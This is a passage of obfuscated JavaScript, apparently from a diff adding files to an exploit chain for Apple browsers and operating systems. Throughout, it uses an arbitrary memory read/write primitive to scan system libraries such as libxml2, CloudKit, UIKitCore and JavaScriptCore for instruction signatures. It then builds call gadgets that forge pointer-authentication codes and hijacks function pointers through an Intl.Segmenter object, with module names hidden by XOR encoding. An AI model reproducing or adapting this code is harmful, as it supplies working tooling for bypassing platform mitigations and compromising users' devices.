if ((j(n[r]) & j(l[r])) != (j(e) & j(l[r]))) return !1;
if (!0 === t && 0x14000000n === (0xfc000000n & j(e))) {
const r = 4 * this.Hl(e);
i += j(r);
} else i += 0x4n;
}
return !0;
}
Ml(r, n = 768, t = null) {
const o = P.platformState.exploitPrimitive,
e = [],
l = new Array(32).fill(null);
let i = !1;
for (let s = 0; s < n; s += 4) {
const n = r + j(s),
a = j(o.read32(n));
if (null !== t && a === t) {
i = !0;
break;
}
if (0xd65f0fffn === a || 0xd65f03c0n === a) {
i = !0;
break;
}
if (0x90000000n === (0x9f000000n & a)) {
const r = a << 8n >> 13n,
t = a >> 29n & 3n,
o = 0x1fn & a,
e = BigInt.asIntN(32, (r << 2n | t) << 12n);
l[o] = n - n % 0x1000n + e;
} else if (0xf9400000n === (0xffc00000n & a)) {
const r = a >> 5n & 0x1fn,
n = a >> 10n & 0xfffn,
t = l[r];
null !== t && (e.push(t + 0x8n * n), l[r] = null);
}
}
if (!i) throw new Error("!i");
return e;
}
Jl(r, n, t) {
P.platformState.Dn;
const o = P.platformState.exploitPrimitive,
e = n.sl("__DATA_CONST");
if (null === e) throw new Error("null === e");
let l = r;
const i = o.read32(r);
if (0x14000000n !== (0xfc000000n & j(i))) return !1;
const s = 4 * this.Hl(i);
l += j(s);
try {
const r = this.Ml(l, 768, 0xd4200020n);
if (2 != r.length) return !1;
const n = r[0];
if (!(e.bl < n && n < e.bl + e.ml)) return !1;
const i = o.read64(n);
return o.readString(i, t.length + 48) === t;
} catch (r) {
return !1;
}
}
Gl(r, n, t) {
const o = P.platformState.Dn,
e = P.platformState.exploitPrimitive,
l = o.tl(r),
i = o.tl(n),
s = i.sl("__TEXT");
for (const r of ["__AUTH_CONST", "__DATA_CONST", "__AUTH"]) {
const n = l.sl(r);
if (null !== n)
for (let r = 0x0n; r < n.ml; r += 0x8n) {
const o = e.read64(n.bl + r),
l = S(o);
if (s.bl <= l && l <= s.bl + s.ml && l % 0x4n === 0x0n && this.Jl(l, i, t)) return o;
}
}
throw new Error("Gl(r, n, t) failed");
}
}
class er {
constructor() {
return this.jl = er.Xl(), this.Vl = {}, new Proxy(this, {
get: (r, n) => (n in this.Vl || (this.Vl[n] = this.jl[n]()), this.Vl[n])
});
}
static Xl() {
return {
Zl() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Ul({
Dl: "_xmlSAX2GetPublicId",
vl: r.tl("libxml2.2.dylib"),
Ll: r.tl("libxml2.2.dylib")
});
},
ql() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Bl({
Dl: "enet_allocate_packet_payload_default",
Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 2953777224, 4181814536, 2852193248, 3594455327, 2852127732, 3036676224, 2953777224, 4181816584, 3594455327, 4177529460, 2839641085, 2831306740, 3596554239],
ol: r.tl("/System/Library/PrivateFrameworks/RESync.framework/RESync", "/System/Library/PrivateFrameworks/RESync.framework/Versions/A/RESync")
});
},
Yl() {
const r = P.platformState.Dn,
n = (P.platformState.exploitPrimitive, r.rl.Ml(S(r.nl.ql), 560));
if (2 !== n.length) throw new Error("2 !== n.length");
return n[0];
},
Wl() {
const r = P.platformState.Dn,
n = (P.platformState.exploitPrimitive, r.rl.Ml(S(r.nl.ql), 560));
if (2 !== n.length) throw new Error("2 !== n.length");
return n[1];
},
$l() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Bl({
Dl: "_HTTPConnectionFinalize",
Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 4181729288, 3019899016, 4181726817, 2853372896, 3594455327],
ol: r.tl("/System/Library/PrivateFrameworks/CoreUtils.framework/CoreUtils")
});
},
Ql() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Bl({
Dl: "_autohinter_iterator_begin",
Ol: [3019899074, 4181723203, 3019899011, 4181722176, 4181727298, 3592358015, 3596551104],
ol: r.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics")
});
},
ra() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Bl({
Dl: "_autohinter_iterator_end",
Ol: [3019899073, 4181725218, 3019899010, 4181722144, 4181727265, 3592357983, 3596551104],
ol: r.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics")
});
},
na() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.tl("libxml2.2.dylib").kl("_xmlHashScanFull");
},
ta() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Kl(r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"), [3573752703, 2847694840, 2835437558, 2835501044, 2835577853, 2432746493, 2852324339, 2852258804, 2852127733, 1384120855, 1384120832, 1386079969, 1923956161, 2500362746, 2852127734, 2853503968, 2853569506, 2483610898, 4177527447, 2955245744, 4182113808, 3670090736, 4177527408, 2853569504, 2839772157, 2839695348, 2839631862, 2831441912, 3596554239]);
},
oa() {
const r = P.platformState.Dn,
n = (P.platformState.exploitPrimitive, r.nl.ta),
t = r.rl.Ml(S(n), 116);
if (1 !== t.length) throw new Error("1 !== t.length");
return t[0];
},
ea() {
const r = P.platformState.Dn,
n = P.platformState.exploitPrimitive,
t = r.tl("/usr/lib/libobjc.A.dylib"),
o = r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"),
e = t.sl("__OBJC_RO");
if (null === e) throw new Error("null === e");
const l = o.sl("__DATA_CONST");
if (null === l) throw new Error("null === l");
const i = "cksqlcs_blobBindingValue:destructor:error:",
s = l.bl + l.ml;
for (let r = l.bl; r < s; r += 0x8n) {
const t = n.read64(r);
if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length) === i) return t;
}
throw new Error("ea() failed");
},
la() {
const r = P.platformState.Dn,
n = P.platformState.exploitPrimitive,
t = r.tl("/usr/lib/libobjc.A.dylib"),
o = r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"),
e = t.sl("__OBJC_RO");
if (null === e) throw new Error("null === e");
const l = o.sl("__DATA_CONST");
if (null === l) throw new Error("null === l");
const i = "UUID",
s = l.bl + l.ml;
for (let r = l.bl; r < s; r += 0x8n) {
const t = n.read64(r);
if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length + 48) === i) return t;
}
throw new Error("la() failed");
},
ia() {
const r = P.platformState.Dn,
n = P.platformState.exploitPrimitive,
t = r.tl("/usr/lib/libobjc.A.dylib"),
o = r.tl("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore"),
e = t.sl("__OBJC_RO");
if (null === e) throw new Error("null === e");
const l = o.sl("__DATA_CONST");
if (null === l) throw new Error("null === l");
const i = "secondAttribute",
s = l.bl + l.ml;
for (let r = l.bl; r < s; r += 0x8n) {
const t = n.read64(r);
if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length + 48) === i) return r;
}
throw new Error("ia() failed");
},
sa() {
P.platformState.Dn, P.platformState.exploitPrimitive;
return P.platformState.Dn.rl.Gl("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", "/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", "secondAttribute");
},
aa() {
const r = P.platformState.Dn,
n = (P.platformState.exploitPrimitive, r.tl("/System/Library/Frameworks/Foundation.framework/Foundation").kl("_OBJC_CLASS_$_NSUUID"));
if (null === n) throw new Error("null === n");
return n;
},
ca() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Bl({
Dl: "_EdgeInfoCFArrayReleaseCallBack",
Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852193267, 2852127732, 4181722153, 4181723432, 3019899016, 4181721376, 4181721697, 3594455327, 2853438432, 2853372897, 2839641085, 2831306740, 3573752831, 3390965712, 3069182032, 3560476192, 335894792],
ol: r.tl("/System/Library/Frameworks/CoreMedia.framework/CoreMedia")
});
},
fa() {
const r = P.platformState.Dn,
n = P.platformState.exploitPrimitive,
[t, o] = (() => {
const t = r.tl("libdyld.dylib").sl("__DATA_DIRTY");
if (null === t) return null;
const o = t.xl("__dyld4");
if (null === o) return null;
const e = n.read64(o.bl + 8n),
l = n.read64(S(e)),
i = n.read64(S(l));
return [e, rr.il(S(i))];
})();
if (null === o) throw new Error("null === o");
return o;
},
_a() {
const r = P.platformState.Dn,
n = (P.platformState.exploitPrimitive, r.nl.fa),
t = (() => {
const t = [null],
o = [3573752703, 2847898621, 2432697341, 4181721097, 3069706633, 3547382056, 3546332451, 3547449636, 2852258784, 2852652002, 2831252477, 3573752831, 3390965712, 3069182032, 3560476192];
let e;
for (e = [2852127729, 2852652016, 3573752095, 335544332, 2852127729, 2852652016, 3670084113, 335544328, 2852127729, 2852652016, 3573752159, 335544324, 2852127729, 2852652016, 3670085137, 2853241824, 3596551104]; t.length > 0;) {
const l = r.rl.Kl(n, o, t.pop());
if (null === l) continue;
t.push(l + 0x4n);
const i = r.rl.zl(l, 4 * o.length + 12);
for (const r in i)
if (2 !== i.length) continue;
if (null !== r.rl.Rl(i[0], e, 256)) return l;
}
return null;
})();
if (null === t) throw new Error("null === t");
const {
ua: o,
ma: e
} = (() => {
let o, e;
e = 0x10n, o = [2852127729, 2852652016, 3573752095, 335544332, 2852127729, 2852652016, 3670084113, 335544328, 2852127729, 2852652016, 3573752159, 335544324, 2852127729, 2852652016, 3670085137, 2853241824, 3596551104];
let l = null;
for (;;) {
if (i = l, l = r.rl.Kl(n, o, i), null === l) return null;
if (l !== t) break;
l += j(0x4n * o.length);
}
var i;
if (null === l) return null;
return {
ua: l - 0x40n,
ma: {
pacda: l,
autia: l + 1n * e,
pacia: l + 2n * e,
autda: l + 3n * e
}
};
})();
if (null === o) throw new Error("null === o");
if (null === e.pacda) throw new Error("null === e.pacda");
if (null === e.ha) throw new Error("null === e.ha");
if (null === e.pacia) throw new Error("null === e.pacia");
if (null === e.autda) throw new Error("null === e.autda");
return o;
},
ba() {
const r = P.platformState.Dn;
P.platformState.exploitPrimitive;
return r.rl.Bl({
Dl: "_dlfcn_globallookup",
Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 3531603968, 1384120353, 2483792040, 3019899136, 2852127732, 2853372897, 2487440593, 2852127731, 2853438432, 2483792025, 2853372896, 2839641085, 2831306740, 3596554239],
ol: r.tl("/System/Library/PrivateFrameworks/ActionKit.framework/ActionKit")
});
},
ya() {
const r = P.platformState.Dn.tl("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore");
if (null === r) throw new Error("null === r");
return r;
},
xa: () => P.platformState.Dn.nl.ya.kl("_jitCagePtr"),
Aa() {
const r = P.platformState.exploitPrimitive,
n = P.platformState.Dn.tl("/usr/lib/libxml2.2.dylib").kl("_xmlMalloc");
return r.read64(n);
},
Sa: () => P.platformState.Dn.nl.ya.kl("__ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE"),
Ca: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_platform.dylib").kl("__platform_memset"),
ka: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_platform.dylib").kl("__platform_memmove"),
Ta: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_malloc.dylib").kl("_malloc"),
Ea: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_malloc.dylib").kl("_free"),
pa: () => P.platformState.Dn.nl.ya.kl("__ZN3WTF10fastMallocEm")
};
}
}
return r;
+563
View File
@@ -0,0 +1,563 @@
let r = {};
const x = globalThis.moduleManager.getModuleByName(([79, 77, 76, 72, 74, 72, 74, 76, 30, 76, 72, 74, 77, 67, 24, 27, 27, 30, 74, 31, 79, 77, 31, 76, 30, 67, 31, 25, 67, 73, 75, 72, 74, 25, 74, 28, 79, 72, 78, 77].map(x => {
return String.fromCharCode(x ^ 122);
}).join(""))),
P = globalThis.moduleManager.getModuleByName(([6, 3, 1, 1, 14, 84, 86, 4, 85, 6, 2, 6, 14, 85, 86, 5, 86, 15, 81, 3, 7, 85, 82, 5, 15, 0, 81, 1, 3, 1, 83, 3, 83, 0, 2, 14, 4, 82, 85, 7].map(x => {
return String.fromCharCode(x ^ 55);
}).join(""))),
{
N: G,
tn: W,
nn: C,
Vt: m,
U: j,
An: S,
vn: O,
T: l,
v: o,
I: u,
B: s,
K: R,
O: K
} = globalThis.moduleManager.getModuleByName(([93, 95, 94, 90, 88, 90, 88, 94, 12, 94, 90, 88, 95, 81, 10, 9, 9, 12, 88, 13, 93, 95, 13, 94, 12, 81, 13, 11, 81, 91, 89, 90, 88, 11, 88, 14, 93, 90, 92, 95].map(x => {
return String.fromCharCode(x ^ 104);
}).join("")));
r.ga = function() {
platformModule.platformState.exploitPrimitive, platformModule.platformState.Dn;
const t = new ht;
return platformModule.platformState.jn = t, platformModule.platformState.Zn = new wt, platformModule.platformState.Wn = t.Wn, platformModule.platformState.Wh = new mt, platformModule.platformState.Yh = new yt, new bt(t)
};
class bt {
constructor(t) {
this.tb = t, this.cc = !0, this.La = this.tb.La, this.Ga = this.tb.Ga, this.Xa = this.tb.Xa, this.Ma = this.tb.Ma
}
pacda(t, s) {
return utilityModule.Int64.fromBigInt(this.tb.pacda(t.Nt(), s.Nt()))
}
pacia(t, s) {
return utilityModule.Int64.fromBigInt(this.tb.pacia(t.Nt(), s.Nt()))
}
autda(t, s) {
return utilityModule.Int64.fromBigInt(this.tb.autda(t.Nt(), s.Nt()))
}
autia(t, s) {
return utilityModule.Int64.fromBigInt(this.tb.autia(t.Nt(), s.Nt()))
}
tc(t, s, i) {
return utilityModule.Int64.fromBigInt(this.tb.Wn.call({
ab: t.Nt(),
sb: s.Nt(),
x1: i.Nt(),
x2: j(0),
ib: j(0),
bb: j(0)
}))
}
}
class ht {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.exploitPrimitive;
this.Dn = {
_a: t.nl._a
}, this.hb = {
lb: null
}, this.ub = s.allocZeroBuffer(32), this._b = s.allocZeroBuffer(48), this.Wn = new _t, this.eb = new ft;
{
const s = t.nl.fa;
let i = 0x10n,
a = [(4294967296 + (1983344233 ^ -600347240)), (4294967296 + (1987535438 ^ -595631682)), (4294967296 + (1416452141 ^ -2123466446)), (758466393 ^ 959792981), (4294967296 + (1232029497 ^ -479247160)), (4294967296 + (1816545330 ^ -967947326)), (4294967296 + (1464628590 ^ -1920106625)), (929129290 ^ 593584962), (4294967296 + (1298547564 ^ -412729187)), (4294967296 + (1985099830 ^ -598066234)), (4294967296 + (1882801488 ^ -1522899953)), (1296199266 ^ 1497525862), (4294967296 + (1748591465 ^ -1036427112)), (4294967296 + (1266241889 ^ -512666991)), (4294967296 + (1832019044 ^ -1208784267)), (4294967296 + (2019640684 ^ -764393844)), (4294967296 + (1096169830 ^ -1761002842))],
h = null;
const e = i => t.rl.Kl(s, a, i);
for (;;) {
if (h = e(h), null === h) return null;
if (h !== this.Dn._a) break;
h += j(0x4n * a.length)
}
if (null === h) return null;
this.La = m.ot(h), this.Ga = m.ot(h + 1n * i), this.Xa = m.ot(h + 2n * i), this.Ma = m.ot(h + 3n * i)
}
}
nb(t, s, i) {
platformModule.platformState.Dn, platformModule.platformState.exploitPrimitive;
return null === this.hb.lb && (this.hb.lb = this.eb.call({
ab: this.Dn._a
})), this.Wn.call({
ab: this.hb.lb,
sb: s,
x1: i & j(0xffffffffffff),
x2: 1n,
ib: i >> 48n & 0xFFFFn,
bb: j(t)
})
}
pacda(t, s) {
return this.nb(0, t, s)
}
pacia(t, s) {
return this.nb(1, t, s)
}
autia(t, s) {
return this.nb(2, t, s)
}
autda(t, s) {
return this.nb(3, t, s)
}
mb(t) {
return this.nb(1, this.Ga.Dt().Nt() + 0x8n, t)
}
}
class _t {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.exploitPrimitive;
this.Dn = {
na: t.nl.na
}, this.hb = {
cb: null
}, this.ub = s.allocZeroBuffer(32), this._b = s.allocZeroBuffer(48), this.gb = new dt, this.eb = new ft
}
call(t) {
platformModule.platformState.Dn;
const s = platformModule.platformState.exploitPrimitive;
if (0 === t.sb || 0x0n === t.sb) throw new Error("0 === t.sb || 0x0n === t.sb");
null === this.hb.cb && (this.hb.cb = this.eb.call({
ab: this.Dn.na
}));
const i = [
[this.ub, [
[0, this._b],
[8, 1],
[12, 1]
]],
[this._b, [
[0, 0],
[8, t.x2],
[16, t.ib],
[24, t.bb],
[32, t.sb],
[40, 1]
]]
];
for (const [t, a] of i)
for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h));
return this.gb.call({
ab: this.hb.cb,
sb: this.ub,
x1: t.ab,
x2: t.x1
})
}
}
class dt {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.exploitPrimitive;
this.Dn = {
Zl: t.nl.Zl,
ql: t.nl.ql,
Yl: t.nl.Yl,
Wl: t.nl.Wl,
$l: t.nl.$l,
Ql: t.nl.Ql,
ra: t.nl.ra
}, this.xb = s.allocZeroBuffer(80), this.pb = s.allocZeroBuffer(80), this.wb = s.allocZeroBuffer(80), this.Tb = s.allocZeroBuffer((863595386 ^ 863594618)), this.zb = s.allocZeroBuffer(80), this.Pb = new ut
}
call(t) {
platformModule.platformState.Dn;
const s = platformModule.platformState.exploitPrimitive,
i = [
[this.wb, [
[32, this.Dn.ql],
[8, this.zb],
[48, this.Tb]
]],
[this.zb, [
[16, j(7444609979)]
]],
[this.Tb, [
[64, 0],
[24, 0],
[(1163357514 ^ 1163357490), 0],
[(1934194544 ^ 1934194264), 0],
[(846489426 ^ 846489186), 0],
[(913862256 ^ 913862472), 0],
[(1365396346 ^ 1365396002), 0],
[(860322154 ^ 860321810), this.Dn.Ql],
[(1194341742 ^ 1194341862), 0],
[(1699829583 ^ 1699829455), t.x1],
[(1717913463 ^ 1717913343), this.xb],
[(1433486423 ^ 1433486791), j((1986159438 ^ 1789833090))]
]],
[this.xb, [
[16, t.ab],
[8, t.sb],
[48, t.x2]
]]
];
for (const [t, a] of i)
for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h));
const a = s.read64(this.Dn.Yl),
h = s.read64(this.Dn.Wl);
try {
s.write64(this.Dn.Yl, this.Dn.$l), s.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb)
} finally {
s.write64(this.Dn.Yl, a), s.write64(this.Dn.Wl, h)
}
return s.read64(this.zb + 0x10n)
}
}
class ft {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.exploitPrimitive;
this.Dn = {
aa: t.nl.aa,
la: t.nl.la,
oa: t.nl.oa,
ea: t.nl.ea
}, this.Ab = null, this.Cb = s.allocZeroBuffer(32), this.Sb = new xt
}
call(t) {
platformModule.platformState.Dn;
const s = platformModule.platformState.exploitPrimitive;
null === this.Ab && (this.Ab = this.Sb.call({
id: this.Dn.aa,
Ib: this.Dn.la
}));
const i = s.read64(this.Dn.oa);
try {
s.write64(this.Dn.oa, t.ab), this.Sb.call({
id: this.Ab,
Ib: this.Dn.ea,
kb: this.Cb + 0x10n,
Hb: this.Cb
})
} finally {
s.write64(this.Dn.oa, i)
}
return s.read64(this.Cb)
}
}
class xt {
constructor() {
const t = platformModule.platformState.Dn;
platformModule.platformState.exploitPrimitive;
this.Dn = {
sa: t.nl.sa,
ia: t.nl.ia
}, this.Ub = new gt
}
call(t) {
platformModule.platformState.Dn;
const s = platformModule.platformState.exploitPrimitive,
i = s.read64(this.Dn.ia);
try {
return s.write64(this.Dn.ia, t.Ib), this.Ub.call({
ab: this.Dn.sa,
sb: t.id,
x2: t.kb,
ib: t.Hb
})
} finally {
s.write64(this.Dn.ia, i)
}
}
}
class pt {
constructor() {
const t = platformModule.platformState.Dn;
platformModule.platformState.exploitPrimitive;
this.hb = {
Aa: t.nl.Aa
}, this.gb = new dt
}
call(t) {
return this.gb.call({
ab: this.hb.Aa,
sb: t.size,
x1: 0x0n,
x2: 0x0n
})
}
}
class gt {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.exploitPrimitive;
this.Dn = {
Zl: t.nl.Zl,
ql: t.nl.ql,
Yl: t.nl.Yl,
Wl: t.nl.Wl,
$l: t.nl.$l,
ca: t.nl.ca,
ra: t.nl.ra
}, this.wb = s.allocZeroBuffer(80), this.Tb = s.allocZeroBuffer((927165042 ^ 927164498)), this.zb = s.allocZeroBuffer(80), this.Bb = null, this.Mb = s.allocZeroBuffer(80), this.jb = new pt, this.Pb = new ut
}
call(t) {
const s = platformModule.platformState.exploitPrimitive;
this.Bb = this.jb.call({
size: 0x120n
});
const i = [
[this.wb, [
[32, this.Dn.$l],
[8, this.Tb],
[48, 0]
]],
[this.Tb, [
[64, 0],
[24, 0],
[(1700884787 ^ 1700884811), 0],
[(1177906801 ^ 1177907033), 0],
[(929525865 ^ 929526105), 0],
[(1953592922 ^ 1953593186), 0],
[(894916447 ^ 894916103), 0],
[(1848669546 ^ 1848669202), this.Dn.ca],
[(895701328 ^ 895701464), 0],
[(962021488 ^ 962021872), this.Bb],
[(1783655782 ^ 1783655662), t.x2],
[(1110718567 ^ 1110718967), t.ib]
]],
[this.Bb, [
[0, t.sb],
[8, this.Mb]
]],
[this.Mb, [
[0, this.zb],
[16, this.Dn.ql]
]],
[this.zb, [
[16, 0x0bbb9999n]
]]
];
for (const [t, a] of i)
for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h));
const a = s.read64(this.Dn.Yl),
h = s.read64(this.Dn.Wl);
try {
s.write64(this.Dn.Yl, t.ab), s.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb)
} finally {
s.write64(this.Dn.Yl, a), s.write64(this.Dn.Wl, h)
}
return s.read64(this.zb + 0x10n)
}
}
class ut {
constructor() {
const t = platformModule.platformState.exploitPrimitive,
s = new Intl.Segmenter("en", {
Pa: ([68, 82, 89, 67, 82, 89, 84, 82].map(x => {
return String.fromCharCode(x ^ 55);
}).join(""))
}),
i = [];
for (let t = 0; t < (913662785 ^ 913662573); t++) i.push("a");
const a = i.join(" ");
s.segment(a);
this.yb = s, this.Fb = s.segment(a), this.Cd = t.allocZeroBuffer(globalThis.moduleManager.getModuleByName(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => {
return String.fromCharCode(x ^ 51);
}).join(""))).platformState.versionFlags.NfRtuR)
}
call(t, s) {
const i = platformModule.platformState.exploitPrimitive,
a = this.Fb[Symbol.iterator](),
h = (() => {
const t = i.getObjectAddress(a);
return i.read64(t + j(globalThis.moduleManager.getModuleByName(([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map(x => {
return String.fromCharCode(x ^ 77);
}).join(""))).platformState.versionFlags.jtUNKB))
})(),
e = h + j(globalThis.moduleManager.getModuleByName(([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map(x => {
return String.fromCharCode(x ^ 74);
}).join(""))).platformState.versionFlags.MJf4mX),
l = i.read64(h + j(globalThis.moduleManager.getModuleByName(([94, 91, 89, 89, 86, 12, 14, 92, 13, 94, 90, 94, 86, 13, 14, 93, 14, 87, 9, 91, 95, 13, 10, 93, 87, 88, 9, 89, 91, 89, 11, 91, 11, 88, 90, 86, 92, 10, 13, 95].map(x => {
return String.fromCharCode(x ^ 111);
}).join(""))).platformState.versionFlags.zPL1kr)),
n = i.read64(h + j(globalThis.moduleManager.getModuleByName(([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map(x => {
return String.fromCharCode(x ^ 76);
}).join(""))).platformState.versionFlags.ga3074)),
r = i.read64(h + j(globalThis.moduleManager.getModuleByName(([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map(x => {
return String.fromCharCode(x ^ 108);
}).join(""))).platformState.versionFlags.yjShKn)),
b = i.read64(e + j(globalThis.moduleManager.getModuleByName(([69, 64, 66, 66, 77, 23, 21, 71, 22, 69, 65, 69, 77, 22, 21, 70, 21, 76, 18, 64, 68, 22, 17, 70, 76, 67, 18, 66, 64, 66, 16, 64, 16, 67, 65, 77, 71, 17, 22, 68].map(x => {
return String.fromCharCode(x ^ 116);
}).join(""))).platformState.versionFlags.OaAnPR)),
c = i.read64(l + j(globalThis.moduleManager.getModuleByName(([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map(x => {
return String.fromCharCode(x ^ 80);
}).join(""))).platformState.versionFlags.PCsIV0)),
o = i.read64(h + j(globalThis.moduleManager.getModuleByName(([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map(x => {
return String.fromCharCode(x ^ 74);
}).join(""))).platformState.versionFlags.oHmyQl));
{
const t = i.read32(c + j(globalThis.moduleManager.getModuleByName(([28, 25, 27, 27, 20, 78, 76, 30, 79, 28, 24, 28, 20, 79, 76, 31, 76, 21, 75, 25, 29, 79, 72, 31, 21, 26, 75, 27, 25, 27, 73, 25, 73, 26, 24, 20, 30, 72, 79, 29].map(x => {
return String.fromCharCode(x ^ 45);
}).join(""))).platformState.versionFlags.vnu2oq)),
s = i.read32(c + j(globalThis.moduleManager.getModuleByName(([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map(x => {
return String.fromCharCode(x ^ 121);
}).join(""))).platformState.versionFlags.attyap)),
a = 2 * (globalThis.moduleManager.getModuleByName(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => {
return String.fromCharCode(x ^ 51);
}).join(""))).platformState.versionFlags.DjRSp0 + i.read32(c + j(s))),
o = globalThis.moduleManager.getModuleByName(([100, 97, 99, 99, 108, 54, 52, 102, 55, 100, 96, 100, 108, 55, 52, 103, 52, 109, 51, 97, 101, 55, 48, 103, 109, 98, 51, 99, 97, 99, 49, 97, 49, 98, 96, 108, 102, 48, 55, 101].map(x => {
return String.fromCharCode(x ^ 85);
}).join(""))).platformState.versionFlags.LVt9Wy + a * t;
if (o % 4 != 0) throw new Error("o % 4 != 0");
const [f, d] = i.allocZeroBufferPair(a);
for (let t = 0; t < o; t += 4) i.write32(d + j(t), i.read32(c + j(t)));
const _ = 2,
u = 4;
i.write32(d + j(globalThis.moduleManager.getModuleByName(([7, 2, 0, 0, 15, 85, 87, 5, 84, 7, 3, 7, 15, 84, 87, 4, 87, 14, 80, 2, 6, 84, 83, 4, 14, 1, 80, 0, 2, 0, 82, 2, 82, 1, 3, 15, 5, 83, 84, 6].map(x => {
return String.fromCharCode(x ^ 54);
}).join(""))).platformState.versionFlags.pUvASJ), u | _);
for (let a = 0; a < t; a++) {
const t = d + j(globalThis.moduleManager.getModuleByName(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => {
return String.fromCharCode(x ^ 95);
}).join(""))).platformState.versionFlags.sMuYjH + s * a);
i.write32(t, 2);
for (let a = 0; a < s; a++) i.patchByte(t + j(globalThis.moduleManager.getModuleByName(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => {
return String.fromCharCode(x ^ 90);
}).join(""))).platformState.versionFlags.KSrWFg + a), 0)
}
const [x, p] = i.allocZeroBufferPair((1098340918 ^ 1098341110));
i.write32(d + j(globalThis.moduleManager.getModuleByName(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => {
return String.fromCharCode(x ^ 69);
}).join(""))).platformState.versionFlags.FGsnBi), 48);
{
const t = r + j(globalThis.moduleManager.getModuleByName(([100, 97, 99, 99, 108, 54, 52, 102, 55, 100, 96, 100, 108, 55, 52, 103, 52, 109, 51, 97, 101, 55, 48, 103, 109, 98, 51, 99, 97, 99, 49, 97, 49, 98, 96, 108, 102, 48, 55, 101].map(x => {
return String.fromCharCode(x ^ 85);
